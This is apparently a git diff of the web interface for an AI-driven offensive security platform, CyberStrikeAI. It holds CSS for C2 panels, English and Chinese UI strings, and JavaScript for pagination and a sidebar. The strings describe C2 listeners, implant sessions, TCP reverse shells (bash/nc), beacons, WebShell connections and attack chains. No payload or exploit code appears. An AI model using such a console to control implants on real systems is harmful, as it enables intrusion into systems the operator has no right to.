.c2-stat-item:nth-child(1) .c2-stat-value { color: var(--c2-accent); }
.c2-stat-item:nth-child(2) .c2-stat-value { color: var(--c2-green); }
.c2-stat-item:nth-child(3) .c2-stat-value { color: var(--c2-amber); }
.c2-stat-value {
font-size: 36px;
font-weight: 800;
line-height: 1;
letter-spacing: -1px;
}
.c2-stat-label {
font-size: 12px;
color: var(--c2-text-dim);
margin-top: 12px;
font-weight: 600;
letter-spacing: 0.3px;
}
.c2-actions {
display: flex;
gap: 12px;
justify-content: center;
flex-wrap: wrap;
max-width: 420px;
margin-inline: auto;
}
.c2-actions > button {
flex: 1;
min-width: min(100%, 160px);
}
/* ============================================================================ /* ============================================================================
Listener Cards Listener Cards
============================================================================ */ ============================================================================ */
@@ -772,6 +666,66 @@
border: 1px solid var(--c2-border); border: 1px solid var(--c2-border);
} }
#c2-file-upload-btn.is-disabled,
#c2-file-upload-btn:disabled {
opacity: 0.5;
cursor: not-allowed;
color: var(--c2-text-dim, #94a3b8);
border-color: var(--c2-border, #e2e8f0);
}
.c2-file-upload-hint {
font-size: 12px;
color: #b45309;
background: rgba(245, 158, 11, 0.08);
border: 1px solid rgba(245, 158, 11, 0.25);
border-radius: var(--c2-radius-xs, 4px);
padding: 8px 12px;
margin: -8px 0 12px;
line-height: 1.5;
word-break: break-word;
}
.c2-file-upload-hint[hidden] {
display: none !important;
}
.c2-file-upload-progress {
display: flex;
align-items: center;
gap: 10px;
margin: -8px 0 12px;
padding: 0 4px;
}
.c2-file-upload-progress[hidden] {
display: none !important;
}
.c2-file-upload-progress-track {
flex: 1;
height: 4px;
background: var(--c2-border);
border-radius: 2px;
overflow: hidden;
}
.c2-file-upload-progress-fill {
height: 100%;
width: 0;
background: var(--c2-accent, #3b82f6);
transition: width 0.2s ease;
}
.c2-file-upload-progress-label {
font-size: 11px;
color: var(--c2-text-dim);
white-space: nowrap;
max-width: 220px;
overflow: hidden;
text-overflow: ellipsis;
}
.c2-file-list { .c2-file-list {
background: var(--c2-surface); background: var(--c2-surface);
border-radius: var(--c2-radius); border-radius: var(--c2-radius);
@@ -1218,32 +1172,172 @@
Task Detail Modal Task Detail Modal
============================================================================ */ ============================================================================ */
.c2-task-detail { line-height: 2; } .c2-modal.c2-modal--wide {
.c2-task-detail > div { margin-bottom: 6px; font-size: 13px; } max-width: 720px;
}
.c2-task-modal-header {
align-items: flex-start;
}
.c2-task-modal-heading {
display: flex;
align-items: center;
gap: 12px;
flex-wrap: wrap;
}
.c2-task-modal-heading h3 {
margin: 0;
}
.c2-task-detail {
display: flex;
flex-direction: column;
gap: 20px;
}
.c2-task-detail-grid {
display: grid;
grid-template-columns: repeat(2, minmax(0, 1fr));
gap: 12px;
}
.c2-task-kv {
display: flex;
flex-direction: column;
gap: 6px;
padding: 12px 14px;
background: var(--c2-surface-alt);
border: 1px solid var(--c2-border);
border-radius: var(--c2-radius-sm);
}
.c2-task-kv__label {
font-size: 11px;
font-weight: 600;
letter-spacing: 0.04em;
text-transform: uppercase;
color: var(--c2-text-muted);
}
.c2-task-kv__value {
font-size: 13px;
font-weight: 500;
color: var(--c2-text);
word-break: break-all;
line-height: 1.45;
}
.c2-task-kv__value--mono {
font-family: var(--c2-mono);
font-size: 12px;
color: var(--c2-text-dim);
}
.c2-task-kv__value--accent {
font-family: var(--c2-mono);
font-weight: 600;
color: var(--c2-accent);
}
.c2-task-timeline {
display: grid;
grid-template-columns: repeat(3, minmax(0, 1fr));
gap: 10px;
padding: 14px 16px;
background: linear-gradient(135deg, rgba(59, 130, 246, 0.06), rgba(59, 130, 246, 0.02));
border: 1px solid rgba(59, 130, 246, 0.14);
border-radius: var(--c2-radius-sm);
}
.c2-task-time-card {
display: flex;
flex-direction: column;
gap: 6px;
min-width: 0;
}
.c2-task-time-card:not(:last-child) {
padding-right: 10px;
border-right: 1px solid rgba(59, 130, 246, 0.12);
}
.c2-task-code-section,
.c2-task-error-section {
display: flex;
flex-direction: column;
gap: 10px;
}
.c2-task-code-header {
display: flex;
align-items: center;
justify-content: space-between;
gap: 12px;
}
.c2-task-code-title {
font-size: 12px;
font-weight: 700;
letter-spacing: 0.04em;
text-transform: uppercase;
color: var(--c2-text-dim);
}
.c2-task-error { .c2-task-error {
color: var(--c2-red); color: var(--c2-red);
padding: 14px; padding: 14px 16px;
background: var(--c2-red-dim); background: var(--c2-red-dim);
border: 1px solid rgba(239, 68, 68, 0.15); border: 1px solid rgba(239, 68, 68, 0.15);
border-radius: var(--c2-radius-sm); border-radius: var(--c2-radius-sm);
margin-top: 12px;
font-size: 13px; font-size: 13px;
line-height: 1.55;
white-space: pre-wrap;
word-break: break-word;
} }
.c2-task-result pre { .c2-task-result-pre,
.c2-task-command-pre {
background: #0f172a; background: #0f172a;
color: #e2e8f0; color: #e2e8f0;
padding: 16px; padding: 14px 16px;
border-radius: var(--c2-radius-sm); border-radius: var(--c2-radius-sm);
overflow-x: auto; overflow-x: auto;
font-family: var(--c2-mono); font-family: var(--c2-mono);
font-size: 12px; font-size: 12px;
margin-top: 8px; margin: 0;
max-height: 400px; max-height: 360px;
overflow-y: auto; overflow-y: auto;
border: 1px solid #1e293b; border: 1px solid #1e293b;
line-height: 1.6; line-height: 1.6;
white-space: pre-wrap;
word-break: break-all;
}
.c2-task-command-pre {
max-height: 140px;
}
.c2-task-command-cell {
max-width: 220px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
font-family: var(--c2-mono);
font-size: 12px;
color: var(--c2-text-muted, #64748b);
}
.c2-task-item-compact .c2-task-command {
flex: 1;
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
font-family: var(--c2-mono);
font-size: 11px;
color: var(--c2-text-muted, #64748b);
} }
/* ============================================================================ /* ============================================================================
@@ -1277,6 +1371,11 @@
Modal Modal
============================================================================ */ ============================================================================ */
/* Toast 须高于模态遮罩 (10050),避免被 backdrop-filter 模糊 */
#c2-toast-container {
z-index: 10100 !important;
}
.c2-modal-overlay { .c2-modal-overlay {
position: fixed; position: fixed;
top: 0; left: 0; right: 0; bottom: 0; top: 0; left: 0; right: 0; bottom: 0;
@@ -1327,26 +1426,7 @@
color: var(--c2-text); color: var(--c2-text);
} }
.c2-modal-close { /* .c2-modal-close 样式见 style.css 统一关闭按钮 */
font-size: 18px;
cursor: pointer;
color: var(--c2-text-muted);
background: none;
border: none;
padding: 0;
width: 32px;
height: 32px;
display: flex;
align-items: center;
justify-content: center;
border-radius: var(--c2-radius-xs);
transition: all 0.15s;
}
.c2-modal-close:hover {
background: var(--c2-surface-alt);
color: var(--c2-text);
}
.c2-modal-body { padding: 24px 28px; } .c2-modal-body { padding: 24px 28px; }
@@ -1385,7 +1465,15 @@
border-right: none; border-right: none;
border-bottom: 1px solid var(--c2-border); border-bottom: 1px solid var(--c2-border);
} }
.c2-stats { flex-direction: column; gap: 12px; }
.c2-payload-grid { grid-template-columns: 1fr; } .c2-payload-grid { grid-template-columns: 1fr; }
.c2-listener-grid { grid-template-columns: 1fr; padding: 16px; } .c2-listener-grid { grid-template-columns: 1fr; padding: 16px; }
.c2-task-detail-grid { grid-template-columns: 1fr; }
.c2-task-timeline { grid-template-columns: 1fr; }
.c2-task-time-card:not(:last-child) {
padding-right: 0;
padding-bottom: 10px;
border-right: none;
border-bottom: 1px solid rgba(59, 130, 246, 0.12);
}
.c2-modal.c2-modal--wide { max-width: 100%; }
} }
+878 -183
View File
File diff suppressed because it is too large Load Diff
+47 -10
View File
@@ -79,7 +79,6 @@
"settings": "System settings", "settings": "System settings",
"hitl": "Human-in-the-loop", "hitl": "Human-in-the-loop",
"c2": "C2", "c2": "C2",
"c2Manage": "C2 management",
"c2Listeners": "Listeners", "c2Listeners": "Listeners",
"c2Sessions": "Sessions", "c2Sessions": "Sessions",
"c2Tasks": "Tasks", "c2Tasks": "Tasks",
@@ -98,8 +97,13 @@
"clickToViewTasks": "Click to view tasks", "clickToViewTasks": "Click to view tasks",
"clickToViewVuln": "Click to view vulnerabilities", "clickToViewVuln": "Click to view vulnerabilities",
"clickToViewMCP": "Click to view MCP monitor", "clickToViewMCP": "Click to view MCP monitor",
"accessOverviewTitle": "Access overview",
"accessTabsAria": "C2 and WebShell",
"c2OverviewTitle": "C2 overview", "c2OverviewTitle": "C2 overview",
"c2GoManage": "Open C2 →", "c2GoManage": "Open C2 →",
"webshellGoManage": "Open WebShell →",
"webshellConnections": "Active connections",
"webshellClickConnections": "View connections",
"c2ListenersRunning": "Listeners running", "c2ListenersRunning": "Listeners running",
"c2SessionsOnline": "Sessions online", "c2SessionsOnline": "Sessions online",
"c2TasksPending": "Pending / queued tasks", "c2TasksPending": "Pending / queued tasks",
@@ -153,7 +157,14 @@
"lastUpdated": "Last updated", "lastUpdated": "Last updated",
"viewAll": "View all →", "viewAll": "View all →",
"recentVulns": "Recent vulnerabilities", "recentVulns": "Recent vulnerabilities",
"recentFacts": "Recent facts",
"noVulnYet": "No recent vulnerabilities", "noVulnYet": "No recent vulnerabilities",
"noFactsYet": "No recent facts",
"noFactsDesc": "In project-bound chats, the agent records targets, findings, and attack chains",
"createFirstProjectBtn": "Create first project",
"factProjectMeta": "{{project}} · {{key}}",
"factsAcrossProjects_one": "{{count}} active project · {{facts}} facts",
"factsAcrossProjects_other": "{{count}} active projects · {{facts}} facts",
"capabilities": "Capabilities", "capabilities": "Capabilities",
"mcpTools": "MCP tools", "mcpTools": "MCP tools",
"rolesLabel": "Roles", "rolesLabel": "Roles",
@@ -230,6 +241,13 @@
"newProjectCta": "+ New project", "newProjectCta": "+ New project",
"projectList": "Project list", "projectList": "Project list",
"searchProjectsPlaceholder": "Search projects…", "searchProjectsPlaceholder": "Search projects…",
"paginationShow": "Show {{start}}-{{end}} of {{total}}",
"paginationRange": "{{start}}-{{end}}/{{total}}",
"paginationTotal": "{{total}} total",
"paginationPage": "{{page}}/{{total}}",
"paginationPerPage": "Per page",
"paginationPrev": "Previous",
"paginationNext": "Next",
"selectOrCreateTitle": "Select or create a project", "selectOrCreateTitle": "Select or create a project",
"selectOrCreateHint": "Projects share a cross-chat fact board; target, environment, auth and other facts are auto-injected in bound conversations.", "selectOrCreateHint": "Projects share a cross-chat fact board; target, environment, auth and other facts are auto-injected in bound conversations.",
"createFirstProject": "Create first project", "createFirstProject": "Create first project",
@@ -377,6 +395,7 @@
"settingsIntroTitle": "Project settings", "settingsIntroTitle": "Project settings",
"settingsIntroHint": "Configure project metadata and Agent authorization boundary; takes effect immediately for bound conversations after saving.", "settingsIntroHint": "Configure project metadata and Agent authorization boundary; takes effect immediately for bound conversations after saving.",
"pinProject": "Pin project (show first in list)", "pinProject": "Pin project (show first in list)",
"pinFact": "Pin fact (prioritize in list and blackboard index)",
"editDescriptionPlaceholder": "Targets, authorization scope, contacts, notes…", "editDescriptionPlaceholder": "Targets, authorization scope, contacts, notes…",
"scopeTitle": "Test scope", "scopeTitle": "Test scope",
"scopeHint": "JSON format for Agent authorization boundary and target assets", "scopeHint": "JSON format for Agent authorization boundary and target assets",
@@ -408,6 +427,13 @@
"addGroup": "New group", "addGroup": "New group",
"recentConversations": "Recent conversations", "recentConversations": "Recent conversations",
"batchManage": "Batch manage", "batchManage": "Batch manage",
"paginationShow": "Show {{start}}-{{end}} of {{total}}",
"paginationRange": "{{start}}-{{end}}/{{total}}",
"paginationTotal": "{{total}} total",
"paginationPage": "{{page}}/{{total}}",
"paginationPerPage": "Per page",
"paginationPrev": "Previous",
"paginationNext": "Next",
"attackChain": "Attack chain", "attackChain": "Attack chain",
"viewAttackChain": "View attack chain", "viewAttackChain": "View attack chain",
"selectRole": "Select role", "selectRole": "Select role",
@@ -2257,6 +2283,9 @@
"descriptionPlaceholder": "Short description", "descriptionPlaceholder": "Short description",
"descriptionHint": "Maps to the description field in SKILL.md YAML (when creating/editing SKILL.md)", "descriptionHint": "Maps to the description field in SKILL.md YAML (when creating/editing SKILL.md)",
"packageFiles": "Package files", "packageFiles": "Package files",
"packageFilesHint": "Click a file to edit; folders are labels only and cannot be opened",
"folderHint": "Folder (not editable)",
"clickToEdit": "Click to edit this file",
"editingFile": "Editing", "editingFile": "Editing",
"newFile": "New file", "newFile": "New file",
"newFilePlaceholder": "Relative path, e.g. FORMS.md or scripts/extra.sh", "newFilePlaceholder": "Relative path, e.g. FORMS.md or scripts/extra.sh",
@@ -2526,14 +2555,6 @@
"checkboxLinkTitle": "Check to link this tool to this role" "checkboxLinkTitle": "Check to link this tool to this role"
}, },
"c2": { "c2": {
"title": "C2 Management",
"welcomeTitle": "AI-Native C2 Framework",
"welcomeDesc": "MCP-native design: let LLM call C2 like calling nmap to complete the full chain: initial access → control → tasks → lateral movement → cleanup",
"statListeners": "Running Listeners",
"statSessions": "Online Sessions",
"statPending": "Pending Tasks",
"goListeners": "Manage Listeners",
"goSessions": "View Sessions",
"clipboardCopied": "Copied to clipboard", "clipboardCopied": "Copied to clipboard",
"fmt": { "fmt": {
"durationMs": "{{n}}ms", "durationMs": "{{n}}ms",
@@ -2543,6 +2564,15 @@
"files": { "files": {
"parent": "Parent", "parent": "Parent",
"refresh": "Refresh", "refresh": "Refresh",
"upload": "Upload",
"uploading": "Uploading {{name}} · {{percent}}%",
"uploadOk": "Uploaded",
"uploadQueued": "Upload task queued",
"uploadPendingApproval": "Upload task pending HITL approval",
"uploadUnsupported": "Upload is not supported for this session",
"uploadCurlBeacon": "Curl beacons cannot upload files; use an HTTP Beacon",
"uploadTcpShell": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
"uploadTcpReverse": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
"loading": "Loading…", "loading": "Loading…",
"timeout": "Timed out loading files", "timeout": "Timed out loading files",
"emptyDir": "Empty directory", "emptyDir": "Empty directory",
@@ -2552,6 +2582,7 @@
"colActions": "Actions", "colActions": "Actions",
"open": "Open", "open": "Open",
"download": "Download", "download": "Download",
"downloadOk": "Downloaded",
"failed": "Failed" "failed": "Failed"
}, },
"listeners": { "listeners": {
@@ -2668,7 +2699,7 @@
"confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)", "confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)",
"toastExitSent": "Exit command sent", "toastExitSent": "Exit command sent",
"toastSessionDeleted": "Session record deleted", "toastSessionDeleted": "Session record deleted",
"terminalWelcome": "CyberStrikeAI C2 Terminal — AI-Native Command & Control", "terminalWelcome": "CyberStrikeAI C2 Terminal — Enter to run; ↑↓ history; Ctrl+L clear; Ctrl+C cancel input",
"termStatusReady": "Ready", "termStatusReady": "Ready",
"termStatusExec": "Executing…", "termStatusExec": "Executing…",
"termStatusErr": "Error", "termStatusErr": "Error",
@@ -2677,6 +2708,9 @@
"termWaitTimeout": "[Timed out waiting for result]", "termWaitTimeout": "[Timed out waiting for result]",
"termCleared": "Terminal cleared", "termCleared": "Terminal cleared",
"termNoSelection": "No text selected", "termNoSelection": "No text selected",
"termWaitFinish": "Please wait for the current command to finish",
"termCtrlC": "Remote interrupt is not supported in this version",
"termQueued": "[Command queued — will run after the current task completes]",
"clearTerminal": "Clear" "clearTerminal": "Clear"
}, },
"tasks": { "tasks": {
@@ -2703,6 +2737,7 @@
"colTask": "Task", "colTask": "Task",
"colSession": "Session", "colSession": "Session",
"colType": "Type", "colType": "Type",
"colCommand": "Command",
"colStatus": "Status", "colStatus": "Status",
"colDuration": "Duration", "colDuration": "Duration",
"colCreated": "Created", "colCreated": "Created",
@@ -2713,6 +2748,8 @@
"labelId": "ID", "labelId": "ID",
"labelSession": "Session", "labelSession": "Session",
"labelType": "Type", "labelType": "Type",
"labelCommand": "Command",
"labelPayload": "Payload",
"labelStatus": "Status", "labelStatus": "Status",
"labelCreated": "Created", "labelCreated": "Created",
"labelSent": "Sent", "labelSent": "Sent",
+46 -10
View File
@@ -79,7 +79,6 @@
"settings": "系统设置", "settings": "系统设置",
"hitl": "人机协同", "hitl": "人机协同",
"c2": "C2", "c2": "C2",
"c2Manage": "C2 管理",
"c2Listeners": "监听器", "c2Listeners": "监听器",
"c2Sessions": "会话", "c2Sessions": "会话",
"c2Tasks": "任务", "c2Tasks": "任务",
@@ -98,8 +97,13 @@
"clickToViewTasks": "点击查看任务管理", "clickToViewTasks": "点击查看任务管理",
"clickToViewVuln": "点击查看漏洞管理", "clickToViewVuln": "点击查看漏洞管理",
"clickToViewMCP": "点击查看 MCP 监控", "clickToViewMCP": "点击查看 MCP 监控",
"accessOverviewTitle": "接入概览",
"accessTabsAria": "C2 与 WebShell",
"c2OverviewTitle": "C2 概览", "c2OverviewTitle": "C2 概览",
"c2GoManage": "进入 C2 →", "c2GoManage": "进入 C2 →",
"webshellGoManage": "进入 WebShell →",
"webshellConnections": "活跃连接",
"webshellClickConnections": "查看连接",
"c2ListenersRunning": "运行中监听器", "c2ListenersRunning": "运行中监听器",
"c2SessionsOnline": "在线会话", "c2SessionsOnline": "在线会话",
"c2TasksPending": "待审 / 排队任务", "c2TasksPending": "待审 / 排队任务",
@@ -153,7 +157,13 @@
"lastUpdated": "上次更新", "lastUpdated": "上次更新",
"viewAll": "查看全部 →", "viewAll": "查看全部 →",
"recentVulns": "最近漏洞", "recentVulns": "最近漏洞",
"recentFacts": "近期事实",
"noVulnYet": "暂无最近漏洞", "noVulnYet": "暂无最近漏洞",
"noFactsYet": "暂无近期事实",
"noFactsDesc": "在绑定项目的对话中,Agent 会自动记录目标、漏洞、攻击链等事实",
"createFirstProjectBtn": "创建第一个项目",
"factProjectMeta": "{{project}} · {{key}}",
"factsAcrossProjects": "{{count}} 个活跃项目 · {{facts}} 条事实",
"capabilities": "能力总览", "capabilities": "能力总览",
"mcpTools": "MCP 工具", "mcpTools": "MCP 工具",
"rolesLabel": "角色", "rolesLabel": "角色",
@@ -219,6 +229,13 @@
"newProjectCta": "+ 新建项目", "newProjectCta": "+ 新建项目",
"projectList": "项目列表", "projectList": "项目列表",
"searchProjectsPlaceholder": "搜索项目…", "searchProjectsPlaceholder": "搜索项目…",
"paginationShow": "显示 {{start}}-{{end}} / 共 {{total}}",
"paginationRange": "{{start}}-{{end}}/{{total}}",
"paginationTotal": "共 {{total}} 条",
"paginationPage": "{{page}}/{{total}}",
"paginationPerPage": "每页",
"paginationPrev": "上一页",
"paginationNext": "下一页",
"selectOrCreateTitle": "选择或创建项目", "selectOrCreateTitle": "选择或创建项目",
"selectOrCreateHint": "项目用于跨对话共享「事实黑板」:目标、环境、认证等信息会在绑定项目的对话中自动注入。", "selectOrCreateHint": "项目用于跨对话共享「事实黑板」:目标、环境、认证等信息会在绑定项目的对话中自动注入。",
"createFirstProject": "创建第一个项目", "createFirstProject": "创建第一个项目",
@@ -366,6 +383,7 @@
"settingsIntroTitle": "项目设置", "settingsIntroTitle": "项目设置",
"settingsIntroHint": "配置项目元数据与 Agent 授权边界,保存后即时生效于绑定对话。", "settingsIntroHint": "配置项目元数据与 Agent 授权边界,保存后即时生效于绑定对话。",
"pinProject": "置顶项目(列表优先显示)", "pinProject": "置顶项目(列表优先显示)",
"pinFact": "置顶事实(列表与黑板索引优先)",
"editDescriptionPlaceholder": "测试目标、授权范围、联系人、注意事项…", "editDescriptionPlaceholder": "测试目标、授权范围、联系人、注意事项…",
"scopeTitle": "测试范围", "scopeTitle": "测试范围",
"scopeHint": "JSON 格式,供 Agent 理解授权边界与目标资产", "scopeHint": "JSON 格式,供 Agent 理解授权边界与目标资产",
@@ -397,6 +415,13 @@
"addGroup": "新建分组", "addGroup": "新建分组",
"recentConversations": "最近对话", "recentConversations": "最近对话",
"batchManage": "批量管理", "batchManage": "批量管理",
"paginationShow": "显示 {{start}}-{{end}} / 共 {{total}}",
"paginationRange": "{{start}}-{{end}}/{{total}}",
"paginationTotal": "共 {{total}} 条",
"paginationPage": "{{page}}/{{total}}",
"paginationPerPage": "每页",
"paginationPrev": "上一页",
"paginationNext": "下一页",
"attackChain": "攻击链", "attackChain": "攻击链",
"viewAttackChain": "查看攻击链", "viewAttackChain": "查看攻击链",
"selectRole": "选择角色", "selectRole": "选择角色",
@@ -2246,6 +2271,9 @@
"descriptionPlaceholder": "Skill的简短描述", "descriptionPlaceholder": "Skill的简短描述",
"descriptionHint": "对应 SKILL.md 中 YAML 的 description 字段(创建/编辑 SKILL.md 时使用)", "descriptionHint": "对应 SKILL.md 中 YAML 的 description 字段(创建/编辑 SKILL.md 时使用)",
"packageFiles": "包内文件", "packageFiles": "包内文件",
"packageFilesHint": "点击文件进行编辑;文件夹仅作分组展示,不可点击",
"folderHint": "文件夹(不可编辑)",
"clickToEdit": "点击编辑此文件",
"editingFile": "正在编辑", "editingFile": "正在编辑",
"newFile": "新建文件", "newFile": "新建文件",
"newFilePlaceholder": "新文件路径,如 FORMS.md 或 scripts/extra.sh", "newFilePlaceholder": "新文件路径,如 FORMS.md 或 scripts/extra.sh",
@@ -2515,14 +2543,6 @@
"checkboxLinkTitle": "勾选表示本角色关联使用该工具" "checkboxLinkTitle": "勾选表示本角色关联使用该工具"
}, },
"c2": { "c2": {
"title": "C2 管理",
"welcomeTitle": "AI-Native C2 框架",
"welcomeDesc": "以 MCP 工具为一等公民,让 LLM 可以像调用 nmap 一样调用 C2 完成「上线 → 控制 → 任务 → 横向 → 清场」全流程",
"statListeners": "运行中监听器",
"statSessions": "在线会话",
"statPending": "待审任务",
"goListeners": "管理监听器",
"goSessions": "查看会话",
"clipboardCopied": "已复制到剪贴板", "clipboardCopied": "已复制到剪贴板",
"fmt": { "fmt": {
"durationMs": "{{n}}ms", "durationMs": "{{n}}ms",
@@ -2532,6 +2552,15 @@
"files": { "files": {
"parent": "上级目录", "parent": "上级目录",
"refresh": "刷新", "refresh": "刷新",
"upload": "上传",
"uploading": "正在上传 {{name}} · {{percent}}%",
"uploadOk": "上传成功",
"uploadQueued": "上传任务已入队",
"uploadPendingApproval": "上传任务待人机协同审批",
"uploadUnsupported": "当前会话不支持上传",
"uploadCurlBeacon": "Curl 轻量信标不支持文件上传,请使用 HTTP Beacon",
"uploadTcpShell": "当前为 TCP 反弹 Shellbash/nc),仅支持命令与下载。上传请改用:① 同一监听器下编译 CSB1 Beacon,或 ② HTTP/HTTPS Beacon 重新上线。",
"uploadTcpReverse": "当前为 TCP 反弹 Shellbash/nc),仅支持命令与下载。上传请改用:① 同一监听器下编译 CSB1 Beacon,或 ② HTTP/HTTPS Beacon 重新上线。",
"loading": "加载中…", "loading": "加载中…",
"timeout": "加载文件超时", "timeout": "加载文件超时",
"emptyDir": "空目录", "emptyDir": "空目录",
@@ -2541,6 +2570,7 @@
"colActions": "操作", "colActions": "操作",
"open": "打开", "open": "打开",
"download": "下载", "download": "下载",
"downloadOk": "下载成功",
"failed": "失败" "failed": "失败"
}, },
"listeners": { "listeners": {
@@ -2657,7 +2687,7 @@
"confirmDeleteSession": "从服务器删除此会话及其关联任务与文件记录?(不会向植入体发送退出;若需退出目标进程请使用「终止会话」。)", "confirmDeleteSession": "从服务器删除此会话及其关联任务与文件记录?(不会向植入体发送退出;若需退出目标进程请使用「终止会话」。)",
"toastExitSent": "退出指令已发送", "toastExitSent": "退出指令已发送",
"toastSessionDeleted": "会话记录已删除", "toastSessionDeleted": "会话记录已删除",
"terminalWelcome": "CyberStrikeAI C2 终端 — AI-Native 命令与控制", "terminalWelcome": "CyberStrikeAI C2 终端 — 回车执行;↑↓ 历史;Ctrl+L 清屏;Ctrl+C 取消输入",
"termStatusReady": "就绪", "termStatusReady": "就绪",
"termStatusExec": "执行中…", "termStatusExec": "执行中…",
"termStatusErr": "错误", "termStatusErr": "错误",
@@ -2666,6 +2696,9 @@
"termWaitTimeout": "[等待结果超时]", "termWaitTimeout": "[等待结果超时]",
"termCleared": "终端已清屏", "termCleared": "终端已清屏",
"termNoSelection": "未选中文本", "termNoSelection": "未选中文本",
"termWaitFinish": "请等待当前命令执行完成",
"termCtrlC": "当前版本暂不支持中断远程命令",
"termQueued": "[命令已加入队列,将在当前任务完成后执行]",
"clearTerminal": "清屏" "clearTerminal": "清屏"
}, },
"tasks": { "tasks": {
@@ -2692,6 +2725,7 @@
"colTask": "任务", "colTask": "任务",
"colSession": "会话", "colSession": "会话",
"colType": "类型", "colType": "类型",
"colCommand": "命令",
"colStatus": "状态", "colStatus": "状态",
"colDuration": "耗时", "colDuration": "耗时",
"colCreated": "创建时间", "colCreated": "创建时间",
@@ -2702,6 +2736,8 @@
"labelId": "ID", "labelId": "ID",
"labelSession": "会话", "labelSession": "会话",
"labelType": "类型", "labelType": "类型",
"labelCommand": "命令",
"labelPayload": "参数",
"labelStatus": "状态", "labelStatus": "状态",
"labelCreated": "创建时间", "labelCreated": "创建时间",
"labelSent": "发送时间", "labelSent": "发送时间",
+1085 -152
View File
File diff suppressed because it is too large Load Diff
+241 -19
View File
@@ -423,10 +423,28 @@ if (typeof window !== 'undefined') {
window.updateHitlStatusUI = updateHitlStatusUI; window.updateHitlStatusUI = updateHitlStatusUI;
} }
function syncHitlSidebarAriaExpanded() {
var card = document.getElementById('hitl-sidebar-card');
var toggle = document.getElementById('hitl-sidebar-toggle');
if (!card || !toggle) return;
toggle.setAttribute('aria-expanded', card.classList.contains('hitl-sidebar-collapsed') ? 'false' : 'true');
}
function closeHitlSidebarCard() {
var card = document.getElementById('hitl-sidebar-card');
if (!card || card.classList.contains('hitl-sidebar-collapsed')) return;
card.classList.add('hitl-sidebar-collapsed');
syncHitlSidebarAriaExpanded();
try {
localStorage.setItem('hitl-sidebar-collapsed', '1');
} catch (e) {}
}
function toggleHitlSidebarCard() { function toggleHitlSidebarCard() {
var card = document.getElementById('hitl-sidebar-card'); var card = document.getElementById('hitl-sidebar-card');
if (!card) return; if (!card) return;
card.classList.toggle('hitl-sidebar-collapsed'); card.classList.toggle('hitl-sidebar-collapsed');
syncHitlSidebarAriaExpanded();
try { try {
localStorage.setItem('hitl-sidebar-collapsed', card.classList.contains('hitl-sidebar-collapsed') ? '1' : '0'); localStorage.setItem('hitl-sidebar-collapsed', card.classList.contains('hitl-sidebar-collapsed') ? '1' : '0');
} catch (e) {} } catch (e) {}
@@ -438,6 +456,7 @@ document.addEventListener('DOMContentLoaded', function () {
if (card && localStorage.getItem('hitl-sidebar-collapsed') === '0') { if (card && localStorage.getItem('hitl-sidebar-collapsed') === '0') {
card.classList.remove('hitl-sidebar-collapsed'); card.classList.remove('hitl-sidebar-collapsed');
} }
syncHitlSidebarAriaExpanded();
}); });
function getAgentModeLabelForValue(mode) { function getAgentModeLabelForValue(mode) {
@@ -2920,6 +2939,8 @@ function createConversationListItem(conversation) {
// 处理历史记录搜索 // 处理历史记录搜索
let conversationSearchTimer = null; let conversationSearchTimer = null;
function handleConversationSearch(query) { function handleConversationSearch(query) {
conversationsPagination.page = 1;
conversationsSearchQuery = query || '';
// 防抖处理,避免频繁请求 // 防抖处理,避免频繁请求
if (conversationSearchTimer) { if (conversationSearchTimer) {
clearTimeout(conversationSearchTimer); clearTimeout(conversationSearchTimer);
@@ -2953,6 +2974,8 @@ function clearConversationSearch() {
clearBtn.style.display = 'none'; clearBtn.style.display = 'none';
} }
conversationsPagination.page = 1;
conversationsSearchQuery = '';
loadConversations(''); loadConversations('');
} }
@@ -3389,6 +3412,21 @@ async function deleteConversation(conversationId, skipConfirm = false) {
} else if (typeof loadConversations === 'function') { } else if (typeof loadConversations === 'function') {
loadConversations(); loadConversations();
} }
// 批量管理弹窗打开时,同步刷新弹窗内列表
const batchModal = document.getElementById('batch-manage-modal');
if (batchModal && batchModal.style.display === 'flex') {
allConversationsForBatch = allConversationsForBatch.filter(c => c.id !== conversationId);
updateBatchManageTitle(allConversationsForBatch.length);
const searchInput = document.getElementById('batch-search-input');
const query = searchInput ? searchInput.value : '';
if (query && query.trim()) {
filterBatchConversations(query);
} else {
renderBatchConversations();
}
}
// 通知其他模块(如 WebShell AI 助手)同步删除,保持列表一致 // 通知其他模块(如 WebShell AI 助手)同步删除,保持列表一致
try { try {
document.dispatchEvent(new CustomEvent('conversation-deleted', { detail: { conversationId } })); document.dispatchEvent(new CustomEvent('conversation-deleted', { detail: { conversationId } }));
@@ -5589,6 +5627,168 @@ let groupsCache = [];
let conversationGroupMappingCache = {}; let conversationGroupMappingCache = {};
let pendingGroupMappings = {}; // 待保留的分组映射(用于处理后端API延迟的情况) let pendingGroupMappings = {}; // 待保留的分组映射(用于处理后端API延迟的情况)
let conversationsListLoadSeq = 0; // 对话列表加载序号,避免并发请求导致重复渲染 let conversationsListLoadSeq = 0; // 对话列表加载序号,避免并发请求导致重复渲染
const CONVERSATIONS_PAGE_SIZE_KEY = 'cyberstrike.conversations_page_size';
function getConversationsPageSize() {
try {
const saved = parseInt(localStorage.getItem(CONVERSATIONS_PAGE_SIZE_KEY), 10);
if ([20, 50, 100].includes(saved)) return saved;
} catch (e) { /* ignore */ }
return 50;
}
let conversationsPagination = { page: 1, pageSize: getConversationsPageSize(), total: 0 };
let conversationsSearchQuery = '';
function parseListTotalValue(raw, itemsLength) {
if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
if (raw != null && raw !== '') {
const n = parseInt(String(raw), 10);
if (Number.isFinite(n) && n >= 0) return n;
}
return itemsLength;
}
function parseListOffsetValue(raw) {
if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
if (raw != null && raw !== '') {
const n = parseInt(String(raw), 10);
if (Number.isFinite(n) && n >= 0) return n;
}
return 0;
}
function parseConversationsListResponse(data) {
if (Array.isArray(data)) {
